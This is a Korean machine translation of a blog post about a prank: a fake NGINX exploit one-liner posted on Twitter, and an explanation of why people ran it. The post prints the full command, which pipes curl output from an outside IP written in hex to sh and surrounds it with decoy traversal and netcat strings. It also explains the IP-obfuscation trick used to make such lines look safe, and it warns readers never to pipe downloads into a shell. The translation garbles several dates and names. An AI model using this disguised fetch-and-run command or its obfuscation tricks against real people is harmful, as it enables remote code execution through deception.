nginx์— ๋Œ€ํ•œ ๊ฐ€์งœ ์ต์Šคํ”Œ๋กœ์ž‡์„ ์‚ฌ์šฉํ•œ ์‚ฌํšŒ์  ์‹คํ—˜์˜ ์„ฑ๊ณต

๋ฉ”๋ชจ. ๋ฒˆ์—ญ: ์ €์ž 1์›” XNUMX์ผ์— ๋ฐœํ‘œ๋œ ์›๋ณธ ๋…ธํŠธ๋Š” ์ •๋ณด ๋ณด์•ˆ์— ๊ด€์‹ฌ์ด ์žˆ๋Š” ์‚ฌ๋žŒ๋“ค์„ ๋Œ€์ƒ์œผ๋กœ ์‹คํ—˜์„ ์ˆ˜ํ–‰ํ•˜๊ธฐ๋กœ ๊ฒฐ์ •ํ–ˆ์Šต๋‹ˆ๋‹ค. ์ด๋ฅผ ์œ„ํ•ด ๊ทธ๋Š” ์›น ์„œ๋ฒ„์˜ ์•Œ๋ ค์ง€์ง€ ์•Š์€ ์ทจ์•ฝ์ ์— ๋Œ€ํ•œ ๊ฐ€์งœ ์ต์Šคํ”Œ๋กœ์ž‡์„ ์ค€๋น„ํ•˜๊ณ  ์ด๋ฅผ ์ž์‹ ์˜ ํŠธ์œ„ํ„ฐ์— ๊ฒŒ์‹œํ–ˆ์Šต๋‹ˆ๋‹ค. ๊ทธ์˜ ๊ฐ€์ • - ์ฝ”๋“œ์˜ ๋ช…๋ฐฑํ•œ ์†์ž„์ˆ˜๋ฅผ ๋ณผ ์ „๋ฌธ๊ฐ€์— ์˜ํ•ด ์ฆ‰์‹œ ๋…ธ์ถœ๋œ๋‹ค๋Š” ๊ฒƒ -์€ ์‹คํ˜„๋˜์ง€ ์•Š์•˜์„ ๋ฟ๋งŒ ์•„๋‹ˆ๋ผ... ๊ทธ๋“ค์€ ๋ชจ๋“  ๊ธฐ๋Œ€๋ฅผ ๋›ฐ์–ด๋„˜์—ˆ๊ณ  ๋ฐ˜๋Œ€ ๋ฐฉํ–ฅ์œผ๋กœ: ํŠธ์œ—์€ ๊ทธ๋ ‡์ง€ ์•Š์€ ์ˆ˜๋งŽ์€ ์‚ฌ๋žŒ๋“ค๋กœ๋ถ€ํ„ฐ ํฐ ์ง€์ง€๋ฅผ ๋ฐ›์•˜์Šต๋‹ˆ๋‹ค. ๋‚ด์šฉ์„ ํ™•์ธํ•˜์„ธ์š”.

nginx์— ๋Œ€ํ•œ ๊ฐ€์งœ ์ต์Šคํ”Œ๋กœ์ž‡์„ ์‚ฌ์šฉํ•œ ์‚ฌํšŒ์  ์‹คํ—˜์˜ ์„ฑ๊ณต

ํ•ต์‹ฌ์š”์•ฝ: ์–ด๋–ค ์ƒํ™ฉ์—์„œ๋„ sh๋‚˜ bash์—์„œ ํŒŒ์ผ ํŒŒ์ดํ”„๋ผ์ธ์„ ์‚ฌ์šฉํ•˜์ง€ ๋งˆ์„ธ์š”. ์ด๋Š” ์ปดํ“จํ„ฐ์— ๋Œ€ํ•œ ํ†ต์ œ๋ ฅ์„ ์žƒ์„ ์ˆ˜ ์žˆ๋Š” ์ข‹์€ ๋ฐฉ๋ฒ•์ž…๋‹ˆ๋‹ค.

์ €๋Š” 31์›” XNUMX์ผ์— ์ƒ์„ฑ๋œ ์ฝ”๋ฏนํ•œ PoC ์ต์Šคํ”Œ๋กœ์ž‡์— ๋Œ€ํ•œ ์งง์€ ์ด์•ผ๊ธฐ๋ฅผ ์—ฌ๋Ÿฌ๋ถ„๊ณผ ๊ณต์œ ํ•˜๊ณ  ์‹ถ์Šต๋‹ˆ๋‹ค. ๊ทธ๋Š” ์†Œ์‹์„ ๋“ฃ๊ณ  ๊ณง๋ฐ”๋กœ ๋“ฑ์žฅํ–ˆ๋‹ค. ์•Œ๋ฆฌ์‚ฌ ์—์„ธ์ด ์…ฐ๋ธŒ์ฒธ์ฝ”, ํšŒ์› ์ œ๋กœ ๋ฐ์ด ์ด๋‹ˆ์…”ํ‹ฐ๋ธŒ (ZDI)์—์„œ๋Š” RCE(์›๊ฒฉ ์ฝ”๋“œ ์‹คํ–‰)๋กœ ์ด์–ด์ง€๋Š” NGINX์˜ ์ทจ์•ฝ์ ์— ๋Œ€ํ•œ ์ •๋ณด๊ฐ€ ๊ณง ๊ณต๊ฐœ๋  ์˜ˆ์ •์ž…๋‹ˆ๋‹ค. NGINX๊ฐ€ ๋งŽ์€ ์›น์‚ฌ์ดํŠธ๋ฅผ ์ง€์›ํ•˜๊ณ  ์žˆ๊ธฐ ๋•Œ๋ฌธ์— ๊ทธ ์†Œ์‹์€ ๋ถ„๋ช… ์ถฉ๊ฒฉ์ ์ธ ๋‚ด์šฉ์ด์—ˆ์„ ๊ฒƒ์ž…๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ "์ฑ…์ž„ ์žˆ๋Š” ๊ณต๊ฐœ" ํ”„๋กœ์„ธ์Šค๊ฐ€ ์ง€์—ฐ๋˜์–ด ์ž์„ธํ•œ ๋‚ด์šฉ์€ ์•Œ๋ ค์ง€์ง€ ์•Š์•˜์Šต๋‹ˆ๋‹ค. ์ด๋Š” ํ‘œ์ค€ ZDI ์ ˆ์ฐจ์ž…๋‹ˆ๋‹ค.

nginx์— ๋Œ€ํ•œ ๊ฐ€์งœ ์ต์Šคํ”Œ๋กœ์ž‡์„ ์‚ฌ์šฉํ•œ ์‚ฌํšŒ์  ์‹คํ—˜์˜ ์„ฑ๊ณต
ํŠธ์œ„ํ„ฐ NGINX์˜ ์ทจ์•ฝ์  ๊ณต๊ฐœ์— ๋Œ€ํ•ด

์ปฌ์˜ ์ƒˆ๋กœ์šด ๋‚œ๋…ํ™” ๊ธฐ์ˆ  ์ž‘์—…์„ ๋งˆ์นœ ํ›„, ๋‚˜๋Š” ์›๋ณธ ํŠธ์œ—์„ ์ธ์šฉํ•˜๊ณ  ๋ฐœ๊ฒฌ๋œ ์ทจ์•ฝ์ ์„ ์•…์šฉํ•˜๋Š” ๊ฒƒ์œผ๋กœ ์ถ”์ •๋˜๋Š” ํ•œ ์ค„์˜ ์ฝ”๋“œ๋กœ ๊ตฌ์„ฑ๋œ "์ž‘๋™ํ•˜๋Š” PoC๋ฅผ ์œ ์ถœํ–ˆ์Šต๋‹ˆ๋‹ค". ๋ฌผ๋ก  ์ด๊ฒƒ์€ ์™„์ „ํžˆ ๋ง๋„ ์•ˆ๋˜๋Š” ์ผ์ด์—ˆ์Šต๋‹ˆ๋‹ค. ๋‚˜๋Š” ๋‚ด๊ฐ€ ์ฆ‰์‹œ ๋…ธ์ถœ๋  ๊ฒƒ์ด๋ผ๊ณ  ์ƒ๊ฐํ–ˆ๊ณ , ๊ธฐ๊ปํ•ด์•ผ ๋ช‡ ๋ฒˆ์˜ ๋ฆฌํŠธ์œ—์„ ๋ฐ›์„ ๊ฒƒ์ด๋ผ๊ณ  ์ƒ๊ฐํ–ˆ์Šต๋‹ˆ๋‹ค.

nginx์— ๋Œ€ํ•œ ๊ฐ€์งœ ์ต์Šคํ”Œ๋กœ์ž‡์„ ์‚ฌ์šฉํ•œ ์‚ฌํšŒ์  ์‹คํ—˜์˜ ์„ฑ๊ณต
ํŠธ์œ„ํ„ฐ ๊ฐ€์งœ ์•…์šฉ์œผ๋กœ

๊ทธ๋Ÿฌ๋‚˜ ๋‹ค์Œ์— ๋ฌด์Šจ ์ผ์ด ์ผ์–ด๋‚ฌ๋Š”์ง€ ์ƒ์ƒํ•  ์ˆ˜ ์—†์—ˆ์Šต๋‹ˆ๋‹ค. ๋‚ด ํŠธ์œ—์˜ ์ธ๊ธฐ๊ฐ€ ๊ธ‰์ƒ์Šนํ–ˆ์Šต๋‹ˆ๋‹ค. ๋†€๋ž๊ฒŒ๋„ ํ˜„์žฌ(๋ชจ์Šคํฌ๋ฐ” ์‹œ๊ฐ„ 15์›” 00์ผ 1์‹œ) ์ด๊ฒƒ์ด ๊ฐ€์งœ๋ผ๋Š” ๊ฒƒ์„ ๊นจ๋‹ซ๋Š” ์‚ฌ๋žŒ์€ ๊ฑฐ์˜ ์—†์Šต๋‹ˆ๋‹ค. ๋งŽ์€ ์‚ฌ๋žŒ๋“ค์ด ์ „ํ˜€ ํ™•์ธํ•˜์ง€ ์•Š๊ณ  ์ด๋ฅผ ๋ฆฌํŠธ์œ—ํ•ฉ๋‹ˆ๋‹ค(์ถœ๋ ฅ๋˜๋Š” ์•„๋ฆ„๋‹ค์šด ASCII ๊ทธ๋ž˜ํ”ฝ์— ๊ฐํƒ„ํ•˜๋Š” ๊ฒƒ์€ ๋งํ•  ๊ฒƒ๋„ ์—†์Šต๋‹ˆ๋‹ค).

nginx์— ๋Œ€ํ•œ ๊ฐ€์งœ ์ต์Šคํ”Œ๋กœ์ž‡์„ ์‚ฌ์šฉํ•œ ์‚ฌํšŒ์  ์‹คํ—˜์˜ ์„ฑ๊ณต
์–ผ๋งˆ๋‚˜ ์•„๋ฆ„๋‹ค์šด์ง€ ๋ณด์„ธ์š”!

์ด๋Ÿฌํ•œ ๋ฃจํ”„์™€ ์ƒ‰์ƒ์€ ๋ชจ๋‘ ํ›Œ๋ฅญํ•˜์ง€๋งŒ ์‚ฌ๋žŒ๋“ค์ด ์ด๋ฅผ ๋ณด๋ ค๋ฉด ์ปดํ“จํ„ฐ์—์„œ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•ด์•ผ ํ•œ๋‹ค๋Š” ๊ฒƒ์€ ๋ถ„๋ช…ํ•ฉ๋‹ˆ๋‹ค. ๋‹คํ–‰์Šค๋Ÿฝ๊ฒŒ๋„ ๋ธŒ๋ผ์šฐ์ €๋Š” ๊ฐ™์€ ๋ฐฉ์‹์œผ๋กœ ์ž‘๋™ํ•˜๋ฉฐ ๋ฒ•์ ์ธ ๋ฌธ์ œ๊ฐ€ ๋ฐœ์ƒํ•˜๊ณ  ์‹ถ์ง€ ์•Š๋‹ค๋Š” ์‚ฌ์‹ค๊ณผ ๊ฒฐํ•ฉํ•˜์—ฌ ๋‚ด ์‚ฌ์ดํŠธ์— ๋ฌปํ˜€ ์žˆ๋Š” ์ฝ”๋“œ๋Š” ์ถ”๊ฐ€ ์ฝ”๋“œ๋ฅผ ์„ค์น˜ํ•˜๊ฑฐ๋‚˜ ์‹คํ–‰ํ•˜๋ ค๊ณ  ์‹œ๋„ํ•˜์ง€ ์•Š๊ณ  ์—์ฝ” ํ˜ธ์ถœ๋งŒ ํ•˜๊ณ  ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค.

์ž‘์€ ํƒˆ์„  : ๋„ท์ธ ํ‘ธํ‚คํ•œ, DNZ, ๋‚˜์™€ ๋‹ค๋ฅธ ํŒ€์›๋“ค ๊นกํŒจ๊ตฐ์ค‘ ์šฐ๋ฆฌ๋Š” ํ•œ๋™์•ˆ ์ปฌ ๋ช…๋ น์„ ๋‚œ๋…ํ™”ํ•˜๋Š” ๋‹ค์–‘ํ•œ ๋ฐฉ๋ฒ•์„ ์‹œ๋„ํ•ด ์™”์Šต๋‹ˆ๋‹ค. ๊ทธ๊ฒƒ์ด ๋ฉ‹์ง€๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค... ๊ทธ๋ฆฌ๊ณ  ์šฐ๋ฆฌ๋Š” ๊ดด์งœ์ž…๋‹ˆ๋‹ค. netspooky์™€ dnz๋Š” ๋‚˜์—๊ฒŒ ๋งค์šฐ ์œ ๋งํ•ด ๋ณด์ด๋Š” ๋ช‡ ๊ฐ€์ง€ ์ƒˆ๋กœ์šด ๋ฐฉ๋ฒ•์„ ๋ฐœ๊ฒฌํ–ˆ์Šต๋‹ˆ๋‹ค. ๋‚˜๋Š” ์žฌ๋ฏธ์— ๋™์ฐธํ•˜์—ฌ ํŠธ๋ฆญ ๋ฐฑ์— IP ์‹ญ์ง„์ˆ˜ ๋ณ€ํ™˜์„ ์ถ”๊ฐ€ํ•ด ๋ณด์•˜์Šต๋‹ˆ๋‹ค. IP๋ฅผ XNUMX์ง„์ˆ˜ ํ˜•์‹์œผ๋กœ ๋ณ€ํ™˜ํ•  ์ˆ˜๋„ ์žˆ๋‹ค๋Š” ๊ฒƒ์ด ๋ฐํ˜€์กŒ์Šต๋‹ˆ๋‹ค. ๊ฒŒ๋‹ค๊ฐ€, ์ปฌ๊ณผ ๋Œ€๋ถ€๋ถ„์˜ ๋‹ค๋ฅธ NIX ๋„๊ตฌ๋Š” XNUMX์ง„์ˆ˜ IP๋ฅผ ๊ธฐ๊บผ์ด ๋จน์Šต๋‹ˆ๋‹ค! ๋”ฐ๋ผ์„œ ์„ค๋“๋ ฅ ์žˆ๊ณ  ์•ˆ์ „ํ•ด ๋ณด์ด๋Š” ๋ช…๋ น์ค„์„ ๋งŒ๋“œ๋Š” ๊ฒƒ์ด ๋ฌธ์ œ์˜€์Šต๋‹ˆ๋‹ค. ๊ฒฐ๊ตญ ๋‚˜๋Š” ์ด๊ฒƒ์œผ๋กœ ๊ฒฐ์ •ํ–ˆ์Šต๋‹ˆ๋‹ค.

curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost

์‚ฌํšŒ์ „์ž๊ณตํ•™(SEE) - ๋‹จ์ˆœํ•œ ํ”ผ์‹ฑ ๊ทธ ์ด์ƒ

์•ˆ์ „๊ณผ ์นœ์ˆ™์„ฑ์€ ์ด ์‹คํ—˜์˜ ์ฃผ์š” ๋ถ€๋ถ„์ด์—ˆ์Šต๋‹ˆ๋‹ค. ๋‚˜๋Š” ๊ทธ๊ฒƒ์ด ๊ทธ์˜ ์„ฑ๊ณต์„ ์ด๋ˆ ๊ฒƒ์ด๋ผ๊ณ  ์ƒ๊ฐํ•œ๋‹ค. ๋ช…๋ น์ค„์—์„œ๋Š” "127.0.0.1"(์ž˜ ์•Œ๋ ค์ง„ ๋กœ์ปฌ ํ˜ธ์ŠคํŠธ)์„ ์ฐธ์กฐํ•˜์—ฌ ๋ณด์•ˆ์„ ๋ช…ํ™•ํ•˜๊ฒŒ ์•”์‹œํ–ˆ์Šต๋‹ˆ๋‹ค. Localhost๋Š” ์•ˆ์ „ํ•œ ๊ฒƒ์œผ๋กœ ๊ฐ„์ฃผ๋˜๋ฉฐ ๊ทธ ์•ˆ์˜ ๋ฐ์ดํ„ฐ๋Š” ์ปดํ“จํ„ฐ๋ฅผ ๋– ๋‚˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค.

์ต์ˆ™ํ•จ์€ ์‹คํ—˜์˜ ๋‘ ๋ฒˆ์งธ ํ•ต์‹ฌ SEE ๊ตฌ์„ฑ ์š”์†Œ์˜€์Šต๋‹ˆ๋‹ค. ๋Œ€์ƒ ์ฒญ์ค‘์€ ์ฃผ๋กœ ์ปดํ“จํ„ฐ ๋ณด์•ˆ์˜ ๊ธฐ๋ณธ ์‚ฌํ•ญ์— ์ต์ˆ™ํ•œ ์‚ฌ๋žŒ๋“ค๋กœ ๊ตฌ์„ฑ๋˜์—ˆ์œผ๋ฏ€๋กœ ์ฝ”๋“œ์˜ ์ผ๋ถ€๊ฐ€ ์นœ์ˆ™ํ•˜๊ณ  ์นœ์ˆ™ํ•ด ๋ณด์ด๋„๋ก(๋”ฐ๋ผ์„œ ์•ˆ์ „ํ•ด ๋ณด์ด๋„๋ก) ์ฝ”๋“œ๋ฅผ ์ž‘์„ฑํ•˜๋Š” ๊ฒƒ์ด ์ค‘์š”ํ–ˆ์Šต๋‹ˆ๋‹ค. ์˜ค๋ž˜๋œ ์ต์Šคํ”Œ๋กœ์ž‡ ๊ฐœ๋…์˜ ์š”์†Œ๋ฅผ ์ฐจ์šฉํ•˜๊ณ  ์ด๋ฅผ ํŠน์ดํ•œ ๋ฐฉ์‹์œผ๋กœ ๊ฒฐํ•ฉํ•˜๋Š” ๊ฒƒ์€ ๋งค์šฐ ์„ฑ๊ณต์ ์ธ ๊ฒƒ์œผ๋กœ ์ž…์ฆ๋˜์—ˆ์Šต๋‹ˆ๋‹ค.

์•„๋ž˜๋Š” ์›๋ผ์ด๋„ˆ์— ๋Œ€ํ•œ ์ž์„ธํ•œ ๋ถ„์„์ž…๋‹ˆ๋‹ค. ์ด ๋ชฉ๋ก์— ์žˆ๋Š” ๋ชจ๋“  ๊ฒƒ์ด ์ฐฉ์šฉ๋ฉ๋‹ˆ๋‹ค. ๋ฏธ์šฉ์  ์„ฑ๊ฒฉ, ์‹ค์ œ ์ž‘๋™์—๋Š” ์‚ฌ์‹ค์ƒ ์•„๋ฌด๊ฒƒ๋„ ํ•„์š”ํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค.

์‹ค์ œ๋กœ ํ•„์š”ํ•œ ๊ตฌ์„ฑ ์š”์†Œ๋Š” ๋ฌด์—‡์ž…๋‹ˆ๊นŒ? ์ด๊ฒƒ -gsS, -O 0x0238f06a, |sh ๊ทธ๋ฆฌ๊ณ  ์›น ์„œ๋ฒ„ ์ž์ฒด. ์›น ์„œ๋ฒ„์—๋Š” ์•…์˜์ ์ธ ๋ช…๋ น์ด ํฌํ•จ๋˜์–ด ์žˆ์ง€ ์•Š๊ณ  ๋‹จ์ˆœํžˆ ๋ช…๋ น์„ ์‚ฌ์šฉํ•˜์—ฌ ASCII ๊ทธ๋ž˜ํ”ฝ์„ ์ œ๊ณตํ–ˆ์Šต๋‹ˆ๋‹ค. echo ํฌํ•จ๋œ ์Šคํฌ๋ฆฝํŠธ์—์„œ index.html. ์‚ฌ์šฉ์ž๊ฐ€ ๋‹ค์Œ ์ค„์„ ์ž…๋ ฅํ–ˆ์„ ๋•Œ |sh ์ค‘๊ฐ„์—, index.html ๋กœ๋“œ ๋ฐ ์‹คํ–‰๋˜์—ˆ์Šต๋‹ˆ๋‹ค. ๋‹คํ–‰์Šค๋Ÿฝ๊ฒŒ๋„ ์›น์„œ๋ฒ„ ๊ด€๋ฆฌ์ธ๋“ค์€ ์•…์˜๊ฐ€ ์—†์—ˆ์Šต๋‹ˆ๋‹ค.

  • ../../../%00 โ€” ๋””๋ ‰ํ† ๋ฆฌ๋ฅผ ๋„˜์–ด์„œ๋Š” ๊ฒƒ์„ ๋‚˜ํƒ€๋ƒ…๋‹ˆ๋‹ค.
  • ngx_stream_module.so โ€” ์ž„์˜์˜ NGINX ๋ชจ๋“ˆ์— ๋Œ€ํ•œ ๊ฒฝ๋กœ;
  • /bin/sh%00<'protocol:TCP' โ€” ์šฐ๋ฆฌ๋Š” ์•„๋งˆ๋„ ์ถœ์‹œ ์˜ˆ์ • /bin/sh ๋Œ€์ƒ ๋จธ์‹ ์—์„œ ์ถœ๋ ฅ์„ TCP ์ฑ„๋„๋กœ ๋ฆฌ๋””๋ ‰์…˜ํ•ฉ๋‹ˆ๋‹ค.
  • -O 0x0238f06a#PLToffset - ๋น„๋ฐ€ ์„ฑ๋ถ„, ๋ณด์ถฉ #PLToffset, ์–ด๋–ป๊ฒŒ๋“  PLT์— ํฌํ•จ๋œ ๋ฉ”๋ชจ๋ฆฌ ์˜คํ”„์…‹์ฒ˜๋Ÿผ ๋ณด์ž…๋‹ˆ๋‹ค.
  • |sh; - ๋˜ ๋‹ค๋ฅธ ์ค‘์š”ํ•œ ์กฐ๊ฐ. ๋‹ค์Œ ์œ„์น˜์— ์žˆ๋Š” ๊ณต๊ฒฉ ์›น ์„œ๋ฒ„์—์„œ ์˜ค๋Š” ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•˜๋ ค๋ฉด ์ถœ๋ ฅ์„ sh/bash๋กœ ๋ฆฌ๋””๋ ‰์…˜ํ•ด์•ผ ํ–ˆ์Šต๋‹ˆ๋‹ค. 0x0238f06a (2.56.240.x);
  • nc /dev/tcp/localhost - netcat์ด ์ฐธ์กฐํ•˜๋Š” ๋”๋ฏธ /dev/tcp/localhost๋ชจ๋“  ๊ฒƒ์ด ๋‹ค์‹œ ์•ˆ์ „ํ•ด ๋ณด์ด๋„๋ก ๋ง์ด์ฃ . ์‚ฌ์‹ค ๊ทธ๊ฒƒ์€ ์•„๋ฌด ๊ฒƒ๋„ ํ•˜์ง€ ์•Š์œผ๋ฉฐ ์•„๋ฆ„๋‹ค์›€์˜ ๋ฒ”์ฃผ์— ํฌํ•จ๋ฉ๋‹ˆ๋‹ค.

์ด๊ฒƒ์œผ๋กœ ํ•œ ์ค„ ์Šคํฌ๋ฆฝํŠธ์˜ ํ•ด๋…๊ณผ "์‚ฌํšŒ ์ „์ž ๊ณตํ•™"(๋ณต์žกํ•œ ํ”ผ์‹ฑ) ์ธก๋ฉด์— ๋Œ€ํ•œ ๋…ผ์˜๋ฅผ ๋งˆ์นฉ๋‹ˆ๋‹ค.

์›น ์„œ๋ฒ„ ๊ตฌ์„ฑ ๋ฐ ๋Œ€์ฑ…

๋‚ด ๊ตฌ๋…์ž์˜ ๋Œ€๋‹ค์ˆ˜๊ฐ€ ์ •๋ณด ๋ณด์•ˆ/ํ•ด์ปค์ด๊ธฐ ๋•Œ๋ฌธ์— ๋‚˜๋Š” ์›น ์„œ๋ฒ„๋ฅผ ๊ทธ๋“ค์˜ "๊ด€์‹ฌ" ํ‘œํ˜„์— ์ข€ ๋” ์ €ํ•ญ๋ ฅ ์žˆ๊ฒŒ ๋งŒ๋“ค๊ธฐ๋กœ ๊ฒฐ์ •ํ–ˆ์Šต๋‹ˆ๋‹ค. ์„ค์ •). ์‹คํ—˜์ด ์•„์ง ์ง„ํ–‰ ์ค‘์ด๊ธฐ ๋•Œ๋ฌธ์— ์—ฌ๊ธฐ์— ๋ชจ๋“  ํ•จ์ •์„ ๋‚˜์—ดํ•˜์ง€๋Š” ์•Š๊ฒ ์ง€๋งŒ, ์„œ๋ฒ„๊ฐ€ ์ˆ˜ํ–‰ํ•˜๋Š” ๋ช‡ ๊ฐ€์ง€ ์ž‘์—…์€ ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค.

  • ํŠน์ • ์†Œ์…œ ๋„คํŠธ์›Œํฌ์—์„œ์˜ ๋ฐฐํฌ ์‹œ๋„๋ฅผ ์ ๊ทน์ ์œผ๋กœ ๋ชจ๋‹ˆํ„ฐ๋งํ•˜๊ณ  ๋‹ค์–‘ํ•œ ๋ฏธ๋ฆฌ๋ณด๊ธฐ ์ธ๋„ค์ผ์„ ๋Œ€์ฒดํ•˜์—ฌ ์‚ฌ์šฉ์ž๊ฐ€ ๋งํฌ๋ฅผ ํด๋ฆญํ•˜๋„๋ก ์œ ๋„ํ•ฉ๋‹ˆ๋‹ค.
  • ์‰˜ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ํ‘œ์‹œํ•˜๋Š” ๋Œ€์‹  Chrome/Mozilla/Safari/etc๋ฅผ Thugcrowd ํ™๋ณด ๋น„๋””์˜ค๋กœ ๋ฆฌ๋””๋ ‰์…˜ํ•ฉ๋‹ˆ๋‹ค.
  • ์นจ์ž…/๋…ธ๊ณจ์ ์ธ ํ•ดํ‚น์˜ ๋ช…๋ฐฑํ•œ ์ง•ํ›„๋ฅผ ๊ฐ์‹œํ•œ ๋‹ค์Œ ์š”์ฒญ์„ NSA ์„œ๋ฒ„๋กœ ๋ฆฌ๋””๋ ‰์…˜ํ•˜๊ธฐ ์‹œ์ž‘ํ•ฉ๋‹ˆ๋‹ค(ํ•˜!).
  • ์‚ฌ์šฉ์ž๊ฐ€ ์ผ๋ฐ˜ ๋ธŒ๋ผ์šฐ์ €์—์„œ ํ˜ธ์ŠคํŠธ๋ฅผ ๋ฐฉ๋ฌธํ•˜๋Š” ๋ชจ๋“  ์ปดํ“จํ„ฐ์— ํŠธ๋กœ์ด ๋ชฉ๋งˆ์™€ BIOS ๋ฃจํŠธํ‚ท์„ ์„ค์น˜ํ•ฉ๋‹ˆ๋‹ค(๋†๋‹ด์ž…๋‹ˆ๋‹ค!).

nginx์— ๋Œ€ํ•œ ๊ฐ€์งœ ์ต์Šคํ”Œ๋กœ์ž‡์„ ์‚ฌ์šฉํ•œ ์‚ฌํšŒ์  ์‹คํ—˜์˜ ์„ฑ๊ณต
ํ•ญ์ฒด์˜ ์ž‘์€ ๋ถ€๋ถ„

์ด ๊ฒฝ์šฐ ๋‚˜์˜ ์œ ์ผํ•œ ๋ชฉํ‘œ๋Š” Apache์˜ ์ผ๋ถ€ ๊ธฐ๋Šฅ, ํŠนํžˆ ์š”์ฒญ ๋ฆฌ๋””๋ ‰์…˜์„ ์œ„ํ•œ ๋ฉ‹์ง„ ๊ทœ์น™์„ ์ตํžˆ๋Š” ๊ฒƒ์ด์—ˆ๊ณ  ๋‚˜๋Š” ์ƒ๊ฐํ–ˆ์Šต๋‹ˆ๋‹ค. ์™œ ์•ˆ ๋ ๊นŒ?

NGINX ์ต์Šคํ”Œ๋กœ์ž‡(์ง„์งœ!)

๊ตฌ๋…ํ•˜๊ธฐ @alisaesage Twitter์—์„œ NGINX์˜ ์‹ค์ œ ์ทจ์•ฝ์ ๊ณผ ์•…์šฉ ๊ธฐํšŒ๋ฅผ ํ•ด๊ฒฐํ•˜๋Š” ZDI์˜ ํ›Œ๋ฅญํ•œ ์ž‘์—…์„ ํŒ”๋กœ์šฐํ•˜์„ธ์š”. ๊ทธ๋“ค์˜ ์ž‘์—…์€ ํ•ญ์ƒ ์ €๋ฅผ ๋งค๋ฃŒ์‹œ์ผฐ๊ณ  ์ €์˜ ์–ด๋ฆฌ์„์€ ํŠธ์œ—์œผ๋กœ ์ธํ•œ ๋ชจ๋“  ์–ธ๊ธ‰๊ณผ ์•Œ๋ฆผ์— ๋Œ€ํ•ด ์ธ๋‚ด์‹ฌ์„ ๊ฐ–๊ณ  ๊ธฐ๋‹ค๋ ค ์ฃผ์‹  Alice์—๊ฒŒ ๊ฐ์‚ฌ๋“œ๋ฆฝ๋‹ˆ๋‹ค. ๋‹คํ–‰์Šค๋Ÿฝ๊ฒŒ๋„ ์ด๋Š” ์ข‹์€ ํšจ๊ณผ๋„ ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค. NGINX ์ทจ์•ฝ์ ๊ณผ ์ปฌ ๋‚จ์šฉ์œผ๋กœ ์ธํ•œ ๋ฌธ์ œ์— ๋Œ€ํ•œ ์ธ์‹์„ ๋†’์ด๋Š” ๋ฐ ๋„์›€์ด ๋˜์—ˆ์Šต๋‹ˆ๋‹ค.

์ถœ์ฒ˜ : habr.com

์ฝ”๋ฉ˜ํŠธ๋ฅผ ์ถ”๊ฐ€